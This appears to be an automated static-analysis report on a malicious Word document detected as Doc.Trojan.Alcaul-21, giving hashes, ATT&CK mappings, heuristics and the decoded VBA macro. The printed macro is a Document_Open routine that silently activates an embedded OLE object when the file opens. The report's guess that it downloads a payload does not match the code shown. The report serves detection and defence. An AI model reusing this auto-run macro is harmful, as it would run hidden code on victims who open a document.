Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 838c9ee7d69048b9…

MALICIOUS

Office (OLE)

27.0 KB Created: 2002-10-17 22:57:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: cfdf34ba2f4be35431211b85e99d75a3 SHA-1: e011e6f708dd91a32b769fe7fc8fcffd0840869d SHA-256: 838c9ee7d69048b916ac663fa8d619a24387d85fda3b9b122885c2e35f7a3473
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code automatically when the document is opened. ClamAV detections indicate this is a known trojan. The Document_Open macro likely attempts to download and execute a secondary payload, aligning with the 'Spearphishing Attachment' initial access tactic.

Heuristics 3

  • ClamAV: Doc.Trojan.Alcaul-21 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alcaul-21
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 502 bytes
SHA-256: 78fc741e2168308f4da4e6d5772b463264b4a58c2f9bfb878bf6bb82d3d70077
Detection
ClamAV: Doc.Trojan.Olerun-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
On Error Resume Next
'by alcopaul
obj = ActiveDocument.Shapes(1).OLEFormat.ClassType
With ActiveDocument.Shapes(1).OLEFormat
    .ActivateAs ClassType:=obj
    .Activate
End With
End Sub

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